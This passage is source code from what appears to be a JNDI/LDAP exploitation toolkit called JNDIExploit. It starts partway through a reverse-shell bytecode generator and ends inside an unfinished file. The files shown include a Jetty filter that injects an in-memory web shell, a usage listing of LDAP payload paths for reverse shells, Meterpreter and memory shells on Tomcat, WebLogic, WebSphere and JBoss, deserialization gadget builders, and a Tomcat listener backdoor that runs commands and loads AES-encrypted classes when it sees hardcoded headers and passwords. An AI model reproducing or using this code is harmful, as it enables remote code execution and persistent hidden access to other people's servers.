"(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); 152 | mv.visitCode(); 153 | Label l0 = new Label(); 154 | mv.visitLabel(l0); 155 | mv.visitLineNumber(32, l0); 156 | mv.visitInsn(RETURN); 157 | Label l1 = new Label(); 158 | mv.visitLabel(l1); 159 | mv.visitLocalVariable("this", "LReverseShell;", null, l0, l1, 0); 160 | mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1); 161 | mv.visitLocalVariable("iterator", "Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;", null, l0, l1, 2); 162 | mv.visitLocalVariable("handler", "Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 3); 163 | mv.visitMaxs(0, 4); 164 | mv.visitEnd(); 165 | } 166 | cw.visitEnd(); 167 | bytes = cw.toByteArray(); 168 | } 169 | 170 | } 171 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/JettyBehinderFilter.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import javax.servlet.*; 4 | import java.io.File; 5 | import java.io.IOException; 6 | import java.lang.reflect.Constructor; 7 | import java.lang.reflect.Field; 8 | import java.lang.reflect.Method; 9 | import java.lang.reflect.Modifier; 10 | import java.util.Map; 11 | 12 | @SuppressWarnings("all") 13 | public class JettyBehinderFilter implements Filter { 14 | 15 | Object request = null; 16 | Object response = null; 17 | boolean bool = false; 18 | String filterName = "evilFilter"; 19 | String urlPattern = "/*"; 20 | 21 | static { 22 | JettyBehinderFilter shell = new JettyBehinderFilter(); 23 | try { 24 | shell.init(); 25 | Object _scope = JettyBehinderFilter.getField(shell.request,"_scope"); 26 | // 获取 ServletHandler 对象 27 | Object _servletHandler = JettyBehinderFilter.getField(_scope,"_servletHandler"); 28 | 29 | Object[] _filters = (Object[]) JettyBehinderFilter.getField(_servletHandler,"_filters"); 30 | // 判断 filter 是否已注入,如果已注入就不继续运行代码 31 | for (Object filter:_filters){ 32 | String _name = (String) JettyBehinderFilter.getField(filter,"_name"); 33 | if (_name.equals(shell.filterName)){ 34 | shell.bool = true; 35 | break; 36 | } 37 | } 38 | 39 | if (!shell.bool){ 40 | // 反射获取 FilterHolder 构造器并进行实例化 41 | Class filterHolderClas = _filters[0].getClass(); 42 | Constructor filterHolderCons = filterHolderClas.getConstructor(javax.servlet.Filter.class); 43 | Object filterHolder = filterHolderCons.newInstance(shell); 44 | 45 | // 反射获取 FilterMapping 构造器并进行实例化 46 | Object[] _filtersMappings = (Object[]) JettyBehinderFilter.getField(_servletHandler,"_filterMappings"); 47 | Class filterMappingClas = _filtersMappings[0].getClass(); 48 | Constructor filterMappingCons = filterMappingClas.getConstructor(); 49 | Object filterMapping = filterMappingCons.newInstance(); 50 | 51 | // 反射赋值 filter 名 52 | Field _filterNameField = filterMappingClas.getDeclaredField("_filterName"); 53 | _filterNameField.setAccessible(true); 54 | _filterNameField.set(filterMapping,shell.filterName); 55 | 56 | // 反射赋值 _holder 57 | Field _holderField = filterMappingClas.getDeclaredField("_holder"); 58 | _holderField.setAccessible(true); 59 | _holderField.set(filterMapping,filterHolder); 60 | 61 | // 反射赋值 urlpattern 62 | Field _pathSpecsField = filterMappingClas.getDeclaredField("_pathSpecs"); 63 | _pathSpecsField.setAccessible(true); 64 | _pathSpecsField.set(filterMapping,new String[]{shell.urlPattern}); 65 | 66 | /** 67 | * private final Map _filterNameMap = new HashMap(); 68 | * 69 | * at org.eclipse.jetty.servlet.ServletHandler.updateMappings(ServletHandler.java:1345) 70 | * at org.eclipse.jetty.servlet.ServletHandler.setFilterMappings(ServletHandler.java:1542) 71 | * at org.eclipse.jetty.servlet.ServletHandler.prependFilterMapping(ServletHandler.java:1242) 72 | */ 73 | 74 | // 属性带有 final 需要先反射修改 modifiers 才能编辑 final 变量 75 | Field _filterNameMapField = _servletHandler.getClass().getDeclaredField("_filterNameMap"); 76 | _filterNameMapField.setAccessible(true); 77 | Field modifiersField = Class.forName("java.lang.reflect.Field").getDeclaredField("modifiers"); 78 | modifiersField.setAccessible(true); 79 | modifiersField.setInt(_filterNameMapField,_filterNameMapField.getModifiers()& ~Modifier.FINAL); 80 | // 先把原来的取出来然后再放进去 81 | Map _filterNameMap = (Map) _filterNameMapField.get(_servletHandler); 82 | _filterNameMap.put(shell.filterName, filterHolder); 83 | _filterNameMapField.set(_servletHandler,_filterNameMap); 84 | // 调用 prependFilterMapping 将 mapping 放到第一个 85 | Method prependFilterMappingMethod = _servletHandler.getClass().getDeclaredMethod("prependFilterMapping",filterMappingClas); 86 | prependFilterMappingMethod.setAccessible(true); 87 | prependFilterMappingMethod.invoke(_servletHandler,filterMapping); 88 | } 89 | }catch (Exception e){ 90 | e.printStackTrace(); 91 | } 92 | } 93 | 94 | public void init() throws Exception{ 95 | Class clazz = Thread.currentThread().getClass(); 96 | Field field = clazz.getDeclaredField("threadLocals"); 97 | field.setAccessible(true); 98 | Object object = field.get(Thread.currentThread()); 99 | field = object.getClass().getDeclaredField("table"); 100 | field.setAccessible(true); 101 | object = field.get(object); 102 | Object[] arrayOfObject = (Object[])object; 103 | for (byte b = 0; b < arrayOfObject.length; b++) { 104 | Object object1 = arrayOfObject[b]; 105 | if (object1 != null) { 106 | field = object1.getClass().getDeclaredField("value"); 107 | field.setAccessible(true); 108 | object = field.get(object1); 109 | if (object != null && object.getClass().getName().endsWith("HttpConnection")) { 110 | Method method = object.getClass().getDeclaredMethod("getHttpChannel", null); 111 | Object object2 = method.invoke(object, null); 112 | method = object2.getClass().getMethod("getRequest", null); 113 | this.request = method.invoke(object2, null); 114 | method = this.request.getClass().getMethod("getResponse", null); 115 | this.response = method.invoke(this.request, null); 116 | break; 117 | } 118 | } 119 | } 120 | } 121 | 122 | @Override 123 | public void init(FilterConfig filterConfig) throws ServletException { 124 | } 125 | 126 | @Override 127 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { 128 | 129 | String cmd = servletRequest.getParameter("cmd"); 130 | if(cmd != null && !cmd.isEmpty()){ 131 | String[] cmds = null; 132 | if(File.separator.equals("/")){ 133 | cmds = new String[]{"/bin/sh", "-c", cmd}; 134 | }else{ 135 | cmds = new String[]{"cmd", "/C", cmd}; 136 | } 137 | 138 | Process process = Runtime.getRuntime().exec(cmds); 139 | java.io.BufferedReader bufferedReader = new java.io.BufferedReader( 140 | new java.io.InputStreamReader(process.getInputStream())); 141 | StringBuilder stringBuilder = new StringBuilder(); 142 | String line; 143 | while ((line = bufferedReader.readLine()) != null) { 144 | stringBuilder.append(line + '\n'); 145 | } 146 | servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); 147 | servletResponse.getOutputStream().flush(); 148 | servletResponse.getOutputStream().close(); 149 | return; 150 | } 151 | filterChain.doFilter(servletRequest,servletResponse); 152 | } 153 | 154 | @Override 155 | public void destroy() { 156 | } 157 | 158 | public static Object getField(Object obj, String fieldName) throws Exception { 159 | Field f0 = null; 160 | Class clas = obj.getClass(); 161 | 162 | while (clas != Object.class){ 163 | try { 164 | f0 = clas.getDeclaredField(fieldName); 165 | break; 166 | } catch (NoSuchFieldException e){ 167 | clas = clas.getSuperclass(); 168 | } 169 | } 170 | 171 | if (f0 != null){ 172 | f0.setAccessible(true); 173 | return f0.get(obj); 174 | }else { 175 | throw new NoSuchFieldException(fieldName); 176 | } 177 | } 178 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/utils/Config.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.utils; 2 | 3 | import com.beust.jcommander.JCommander; 4 | import com.beust.jcommander.Parameter; 5 | import com.beust.jcommander.UnixStyleUsageFormatter; 6 | 7 | public class Config { 8 | public static String codeBase; 9 | 10 | @Parameter(names = {"-i", "--ip"}, description = "Local ip address ", required = true, order = 1) 11 | public static String ip = "0.0.0.0"; 12 | 13 | @Parameter(names = {"-l", "--ldapPort"}, description = "Ldap bind port", order = 2) 14 | public static int ldapPort = 1389; 15 | 16 | @Parameter(names = {"-p", "--httpPort"}, description = "Http bind port", order = 3) 17 | public static int httpPort = 3456; 18 | 19 | @Parameter(names = {"-u", "--usage"}, description = "Show usage", order = 5) 20 | public static boolean showUsage; 21 | 22 | @Parameter(names = {"-h", "--help"}, help = true, description = "Show this help") 23 | private static boolean help = false; 24 | 25 | @Parameter(names = {"-py", "--python"}, description = "Python System Command ex: python3 python2 ... ", order = 4) 26 | public static String python; 27 | 28 | 29 | public static String rhost; 30 | public static String rport; 31 | 32 | public static void applyCmdArgs(String[] args) { 33 | //process cmd args 34 | JCommander jc = JCommander.newBuilder() 35 | .addObject(new Config()) 36 | .build(); 37 | try{ 38 | jc.parse(args); 39 | }catch(Exception e){ 40 | if(!showUsage){ 41 | System.out.println("Error: " + e.getMessage() + "\n"); 42 | help = true; 43 | } 44 | } 45 | 46 | if(showUsage){ 47 | String ip = (Config.ip != null) ? Config.ip : "[IP]"; 48 | String port = (Config.ip != null) ? Config.ldapPort + "" : "[PORT]"; 49 | 50 | System.out.println("Supported LADP Queries:"); 51 | System.out.println("* all words are case INSENSITIVE when send to ldap server"); 52 | String prefix = "ldap://" + Config.ip + ":" + Config.ldapPort + "/"; 53 | System.out.println("\n[+] Basic Queries: " + prefix + "Basic/[PayloadType]/[Params], e.g."); 54 | System.out.println(" " + prefix + "Basic/Dnslog/[domain]"); 55 | System.out.println(" " + prefix + "Basic/Command/[cmd]"); 56 | System.out.println(" " + prefix + "Basic/Command/Base64/[base64_encoded_cmd]"); 57 | System.out.println(" " + prefix + "Basic/ReverseShell/[ip]/[port] ---windows NOT supported"); 58 | System.out.println(" " + prefix + "Basic/TomcatEcho"); 59 | System.out.println(" " + prefix + "Basic/SpringEcho"); 60 | System.out.println(" " + prefix + "Basic/WeblogicEcho"); 61 | System.out.println(" " + prefix + "Basic/TomcatMemshell1"); 62 | System.out.println(" " + prefix + "Basic/TomcatMemshell2 ---need extra header [shell: true]"); 63 | System.out.println(" " + prefix + "Basic/TomcatMemshell3 /ateam pass1024"); 64 | System.out.println(" " + prefix + "Basic/GodzillaMemshell /bteam.ico pass1024"); 65 | System.out.println(" " + prefix + "Basic/JettyMemshell"); 66 | System.out.println(" " + prefix + "Basic/WeblogicMemshell1"); 67 | System.out.println(" " + prefix + "Basic/WeblogicMemshell2"); 68 | System.out.println(" " + prefix + "Basic/JBossMemshell"); 69 | System.out.println(" " + prefix + "Basic/WebsphereMemshell"); 70 | System.out.println(" " + prefix + "Basic/SpringMemshell"); 71 | System.out.println(" " + prefix + "Basic/tomcatmemshellall1 /any ,x-client-data: godzilla/rebeyond/cmd Referer: https://www.google.com , password:google"); 72 | System.out.println(" " + prefix + "Basic/tomcatmemshellall2 /any ,x-client-data: godzilla/rebeyond/cmd Referer: https://www.google.com , password:google"); 73 | System.out.println(" " + prefix + "Basic/springmemshellall1 /any ,x-client-data: godzilla/rebeyond/cmd Referer: https://www.google.com , password:google"); 74 | 75 | System.out.println("\n[+] Deserialize Queries: " + prefix + "Deserialization/[GadgetType]/[PayloadType]/[Params], e.g."); 76 | System.out.println(" " + prefix + "Deserialization/URLDNS/[domain]"); 77 | System.out.println(" " + prefix + "Deserialization/CommonsCollectionsK1/Dnslog/[domain]"); 78 | System.out.println(" " + prefix + "Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]"); 79 | System.out.println(" " + prefix + "Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port] ---windows NOT supported"); 80 | System.out.println(" " + prefix + "Deserialization/CommonsBeanutils2/TomcatEcho"); 81 | System.out.println(" " + prefix + "Deserialization/C3P0/SpringEcho"); 82 | System.out.println(" " + prefix + "Deserialization/Jdk7u21/WeblogicEcho"); 83 | System.out.println(" " + prefix + "Deserialization/Jre8u20/TomcatMemshell"); 84 | System.out.println(" " + prefix + "Deserialization/CVE_2020_2555/WeblogicMemshell1"); 85 | System.out.println(" " + prefix + "Deserialization/CVE_2020_2883/WeblogicMemshell2 ---ALSO support other memshells"); 86 | System.out.println(" " + prefix + "Deserialization/custom/filepath/[filepath] ps: /custom/filepath/yso1.ser"); 87 | 88 | 89 | System.out.println("\n[+] TomcatBypass Queries"); 90 | System.out.println(" " + prefix + "TomcatBypass/Dnslog/[domain]"); 91 | System.out.println(" " + prefix + "TomcatBypass/Command/[cmd]"); 92 | System.out.println(" " + prefix + "TomcatBypass/Command/Base64/[base64_encoded_cmd]"); 93 | System.out.println(" " + prefix + "TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported"); 94 | System.out.println(" " + prefix + "TomcatBypass/TomcatEcho"); 95 | System.out.println(" " + prefix + "TomcatBypass/SpringEcho"); 96 | System.out.println(" " + prefix + "TomcatBypass/TomcatMemshell1"); 97 | System.out.println(" " + prefix + "TomcatBypass/TomcatMemshell2 ---need extra header [shell: true]"); 98 | System.out.println(" " + prefix + "TomcatBypass/SpringMemshell"); 99 | System.out.println(" " + prefix + "TomcatBypass/Meterpreter/[ip]/[port] ---java/meterpreter/reverse_tcp"); 100 | System.out.println(" " + prefix + "TomcatBypass/tomcatmemshellall1 /any ,x-client-data: godzilla/rebeyond/cmd Referer: https://www.google.com , password:google"); 101 | System.out.println(" " + prefix + "TomcatBypass/tomcatmemshellall2 /any ,x-client-data: godzilla/rebeyond/cmd Referer: https://www.google.com , password:google"); 102 | System.out.println(" " + prefix + "TomcatBypass/springmemshellall1 /any ,x-client-data: godzilla/rebeyond/cmd Referer: https://www.google.com , password:google"); 103 | 104 | 105 | System.out.println("\n[+] GroovyBypass Queries"); 106 | System.out.println(" " + prefix + "GroovyBypass/Command/[cmd]"); 107 | System.out.println(" " + prefix + "GroovyBypass/Command/Base64/[base64_encoded_cmd]"); 108 | 109 | System.out.println("\n[+] WebsphereBypass Queries"); 110 | System.out.println(" " + prefix + "WebsphereBypass/List/file=[file or directory]"); 111 | System.out.println(" " + prefix + "WebsphereBypass/Upload/Dnslog/[domain]"); 112 | System.out.println(" " + prefix + "WebsphereBypass/Upload/Command/[cmd]"); 113 | System.out.println(" " + prefix + "WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]"); 114 | System.out.println(" " + prefix + "WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported"); 115 | System.out.println(" " + prefix + "WebsphereBypass/Upload/WebsphereMemshell"); 116 | System.out.println(" " + prefix + "WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp"); 117 | 118 | System.exit(0); 119 | } 120 | 121 | // //获取当前 Jar 的名称 122 | // String jarPath = Starter.class.getProtectionDomain().getCodeSource().getLocation().getPath(); 123 | jc.setProgramName("java -jar JNDIExploit-1.2-SNAPSHOT.jar"); 124 | jc.setUsageFormatter(new UnixStyleUsageFormatter(jc)); 125 | 126 | if(help) { 127 | jc.usage(); //if -h specified, show help and exit 128 | System.exit(0); 129 | } 130 | 131 | // 特别注意:最后一个反斜杠不能少啊 132 | Config.codeBase = "http://" + Config.ip + ":" + Config.httpPort + "/"; 133 | } 134 | } 135 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/utils/Gadgets.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets.utils; 2 | 3 | import com.feihong.ldap.template.*; 4 | import com.feihong.ldap.utils.Cache; 5 | import com.feihong.ldap.enumtypes.PayloadType; 6 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 7 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 8 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 9 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 10 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; 11 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 12 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 13 | import java.io.Serializable; 14 | import java.lang.reflect.*; 15 | import java.util.HashMap; 16 | import java.util.Map; 17 | import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; 18 | 19 | /* 20 | * utility generator functions for common jdk-only gadgets 21 | */ 22 | @SuppressWarnings ( { 23 | "restriction", "rawtypes", "unchecked" 24 | } ) 25 | public class Gadgets { 26 | 27 | static { 28 | // special case for using TemplatesImpl gadgets with a SecurityManager enabled 29 | System.setProperty(DESERIALIZE_TRANSLET, "true"); 30 | 31 | // for RMI remote loading 32 | System.setProperty("java.rmi.server.useCodebaseOnly", "false"); 33 | } 34 | 35 | public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; 36 | 37 | public static class StubTransletPayload extends AbstractTranslet implements Serializable { 38 | 39 | private static final long serialVersionUID = -5971610431559700674L; 40 | 41 | 42 | public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {} 43 | 44 | 45 | @Override 46 | public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} 47 | } 48 | 49 | // required to make TemplatesImpl happy 50 | public static class Foo implements Serializable { 51 | 52 | private static final long serialVersionUID = 8207363842866235160L; 53 | } 54 | 55 | 56 | public static T createMemoitizedProxy ( final Map map, final Class iface, final Class... ifaces ) throws Exception { 57 | return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); 58 | } 59 | 60 | 61 | public static InvocationHandler createMemoizedInvocationHandler ( final Map map ) throws Exception { 62 | return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); 63 | } 64 | 65 | 66 | public static T createProxy ( final InvocationHandler ih, final Class iface, final Class... ifaces ) { 67 | final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); 68 | allIfaces[ 0 ] = iface; 69 | if ( ifaces.length > 0 ) { 70 | System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); 71 | } 72 | return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); 73 | } 74 | 75 | 76 | public static Map createMap ( final String key, final Object val ) { 77 | final Map map = new HashMap(); 78 | map.put(key, val); 79 | return map; 80 | } 81 | 82 | 83 | public static Object createTemplatesImpl (PayloadType type, String... param) throws Exception { 84 | if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { 85 | return createTemplatesImpl( 86 | type, 87 | Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), 88 | Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), 89 | Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"), 90 | param); 91 | } 92 | 93 | return createTemplatesImpl(type, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class, param); 94 | } 95 | 96 | 97 | public static T createTemplatesImpl (PayloadType type, Class tplClass, Class abstTranslet, Class transFactory, String... param) 98 | throws Exception { 99 | final T templates = tplClass.newInstance(); 100 | 101 | // // use template gadget class 102 | // ClassPool pool = ClassPool.getDefault(); 103 | // pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); 104 | // pool.insertClassPath(new ClassClassPath(abstTranslet)); 105 | // final CtClass clazz = pool.get(StubTransletPayload.class.getName()); 106 | // // run command in static initializer 107 | // // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections 108 | // String cmd = "java.lang.Runtime.getRuntime().exec(\"" + 109 | // command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + 110 | // "\");"; 111 | // clazz.makeClassInitializer().insertAfter(cmd); 112 | // // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) 113 | // clazz.setName("ysoserial.Pwner" + System.nanoTime()); 114 | // CtClass superC = pool.get(abstTranslet.getName()); 115 | // clazz.setSuperclass(superC); 116 | 117 | byte[] classBytes = null; 118 | switch (type){ 119 | case command: 120 | CommandTemplate commandTemplate = new CommandTemplate(param[0]); 121 | classBytes = commandTemplate.getBytes(); 122 | break; 123 | case dnslog: 124 | DnslogTemplate dnslogTemplate = new DnslogTemplate(param[0]); 125 | classBytes = dnslogTemplate.getBytes(); 126 | break; 127 | case reverseshell: 128 | ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(param[0], param[1]); 129 | classBytes = reverseShellTemplate.getBytes(); 130 | break; 131 | case tomcatecho: 132 | classBytes = Cache.get("TomcatEchoTemplate"); 133 | break; 134 | case springecho: 135 | classBytes = Cache.get("SpringEchoTemplate"); 136 | break; 137 | case weblogicecho: 138 | classBytes = Cache.get("WeblogicEchoTemplate"); 139 | break; 140 | case tomcatmemshell1: 141 | classBytes = Cache.get("TomcatMemshellTemplate1"); 142 | break; 143 | case tomcatmemshell2: 144 | classBytes = Cache.get("TomcatMemshellTemplate2"); 145 | break; 146 | case jettymemshell: 147 | classBytes = Cache.get("JettyMemshellTemplate"); 148 | break; 149 | case jbossmemshell: 150 | classBytes = Cache.get("JBossMemshellTemplate"); 151 | break; 152 | case weblogicmemshell1: 153 | classBytes = Cache.get("WeblogicMemshellTemplate1"); 154 | break; 155 | case weblogicmemshell2: 156 | classBytes = Cache.get("WeblogicMemshellTemplate2"); 157 | break; 158 | case webspherememshell: 159 | classBytes = Cache.get("WebsphereMemshellTemplate"); 160 | break; 161 | case springmemshell: 162 | classBytes = Cache.get("SpringMemshellTemplate"); 163 | break; 164 | } 165 | 166 | // inject class bytes into instance 167 | Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { 168 | classBytes, ClassFiles.classAsBytes(Foo.class) 169 | }); 170 | 171 | // required to make TemplatesImpl happy 172 | Reflections.setFieldValue(templates, "_name", "Pwnr"); 173 | Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); 174 | return templates; 175 | } 176 | 177 | 178 | public static HashMap makeMap(Object v1, Object v2) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, 179 | IllegalAccessException, InvocationTargetException { 180 | HashMap s = new HashMap(); 181 | Reflections.setFieldValue(s, "size", 2); 182 | Class nodeC; 183 | try { 184 | nodeC = Class.forName("java.util.HashMap$Node"); 185 | } 186 | catch ( ClassNotFoundException e ) { 187 | nodeC = Class.forName("java.util.HashMap$Entry"); 188 | } 189 | Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); 190 | Reflections.setAccessible(nodeCons); 191 | 192 | Object tbl = Array.newInstance(nodeC, 2); 193 | Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); 194 | Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); 195 | Reflections.setFieldValue(s, "table", tbl); 196 | return s; 197 | } 198 | } 199 | 200 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/TomcatMemshellall2.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 4 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 5 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 6 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 7 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 8 | import org.apache.catalina.connector.Request; 9 | import org.apache.catalina.connector.RequestFacade; 10 | import org.apache.catalina.connector.Response; 11 | import org.apache.catalina.core.StandardContext; 12 | import org.apache.catalina.loader.WebappClassLoaderBase; 13 | 14 | import javax.crypto.Cipher; 15 | import javax.crypto.spec.SecretKeySpec; 16 | import javax.servlet.ServletRequestEvent; 17 | import javax.servlet.ServletRequestListener; 18 | import javax.servlet.http.HttpSession; 19 | import java.lang.reflect.Field; 20 | import java.lang.reflect.Method; 21 | import java.net.URL; 22 | import java.net.URLClassLoader; 23 | import java.util.HashMap; 24 | import java.util.Scanner; 25 | 26 | 27 | /** 28 | * 注入 Tomcat Listener 型内存马 29 | */ 30 | public class TomcatMemshellall2 extends AbstractTranslet implements ServletRequestListener { 31 | static { 32 | 33 | try { 34 | // 获取 standardContext 35 | WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); 36 | StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); 37 | 38 | TomcatMemshellall2 listener = new TomcatMemshellall2(); 39 | standardContext.addApplicationEventListener(listener); 40 | } catch (Exception e) { 41 | // e.printStackTrace(); 42 | } 43 | } 44 | 45 | String xc = "3c6e0b8a9c15224a"; // key 46 | String pass = "google"; 47 | String md5 = md5(pass + xc); 48 | Class payload; 49 | 50 | public static String md5(String s) { 51 | String ret = null; 52 | try { 53 | java.security.MessageDigest m; 54 | m = java.security.MessageDigest.getInstance("MD5"); 55 | m.update(s.getBytes(), 0, s.length()); 56 | ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); 57 | } catch (Exception e) { 58 | } 59 | return ret; 60 | } 61 | 62 | public static String base64Encode(byte[] bs) throws Exception { 63 | Class base64; 64 | String value = null; 65 | try { 66 | base64 = Class.forName("java.util.Base64"); 67 | Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); 68 | value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); 69 | } catch (Exception e) { 70 | try { 71 | base64 = Class.forName("sun.misc.BASE64Encoder"); 72 | Object Encoder = base64.newInstance(); 73 | value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); 74 | } catch (Exception e2) { 75 | } 76 | } 77 | return value; 78 | } 79 | 80 | public static byte[] base64Decode(String bs) throws Exception { 81 | Class base64; 82 | byte[] value = null; 83 | try { 84 | base64 = Class.forName("java.util.Base64"); 85 | Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); 86 | value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); 87 | } catch (Exception e) { 88 | try { 89 | base64 = Class.forName("sun.misc.BASE64Decoder"); 90 | Object decoder = base64.newInstance(); 91 | value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); 92 | } catch (Exception e2) { 93 | } 94 | } 95 | return value; 96 | } 97 | 98 | @Override 99 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 100 | 101 | } 102 | 103 | @Override 104 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 105 | 106 | } 107 | 108 | @Override 109 | public void requestDestroyed(ServletRequestEvent servletRequestEvent) { 110 | 111 | } 112 | 113 | @Override 114 | public void requestInitialized(ServletRequestEvent servletRequestEvent) { 115 | // Listener马没有包装类问题 116 | try { 117 | RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest(); 118 | Field field = requestFacade.getClass().getDeclaredField("request"); 119 | field.setAccessible(true); 120 | Request request = (Request) field.get(requestFacade); 121 | Response response = request.getResponse(); 122 | // 入口 123 | if (request.getHeader("Referer").trim().contains("google")) { 124 | // cmdshell 125 | if (request.getHeader("x-client-data").equalsIgnoreCase("cmd")) { 126 | String cmd = request.getHeader("cmd"); 127 | if (cmd != null && !cmd.isEmpty()) { 128 | String[] cmds = null; 129 | if (System.getProperty("os.name").toLowerCase().contains("win")) { 130 | cmds = new String[]{"cmd", "/c", cmd}; 131 | } else { 132 | cmds = new String[]{"/bin/bash", "-c", cmd}; 133 | } 134 | String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next(); 135 | response.resetBuffer(); 136 | response.getWriter().println(result); 137 | response.flushBuffer(); 138 | response.finishResponse(); 139 | } 140 | } else if (request.getHeader("x-client-data").trim().contains("rebeyond")) { 141 | if (request.getMethod().equals("POST")) { 142 | // 创建pageContext 143 | HashMap pageContext = new HashMap(); 144 | 145 | // lastRequest的session是没有被包装的session!! 146 | HttpSession session = request.getSession(); 147 | pageContext.put("request", request); 148 | pageContext.put("response", response); 149 | pageContext.put("session", session); 150 | // 这里判断payload是否为空 因为在springboot2.6.3测试时request.getReader().readLine()可以获取到而采取拼接的话为空字符串 151 | String payload = request.getReader().readLine(); 152 | 153 | // System.out.println(payload); 154 | // 冰蝎逻辑 155 | // String k = "e45e329feb5d925b"; // rebeyond 156 | String k = "c822c1b63853ed27"; //google 157 | 158 | 159 | session.putValue("u", k); 160 | Cipher c = Cipher.getInstance("AES"); 161 | c.init(2, new SecretKeySpec(k.getBytes(), "AES")); 162 | Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 163 | method.setAccessible(true); 164 | byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(payload)); 165 | Class evilclass = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), evilclass_byte, 0, evilclass_byte.length); 166 | evilclass.newInstance().equals(pageContext); 167 | } 168 | } else if (request.getHeader("x-client-data").trim().contains("godzilla")) { 169 | // 哥斯拉是通过 localhost/?pass=payload 传参 不存在包装类问题 170 | byte[] data = base64Decode(request.getParameter(pass)); 171 | data = x(data, false); 172 | if (payload == null) { 173 | URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); 174 | Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 175 | defMethod.setAccessible(true); 176 | payload = (Class) defMethod.invoke(urlClassLoader, data, 0, data.length); 177 | } else { 178 | java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); 179 | 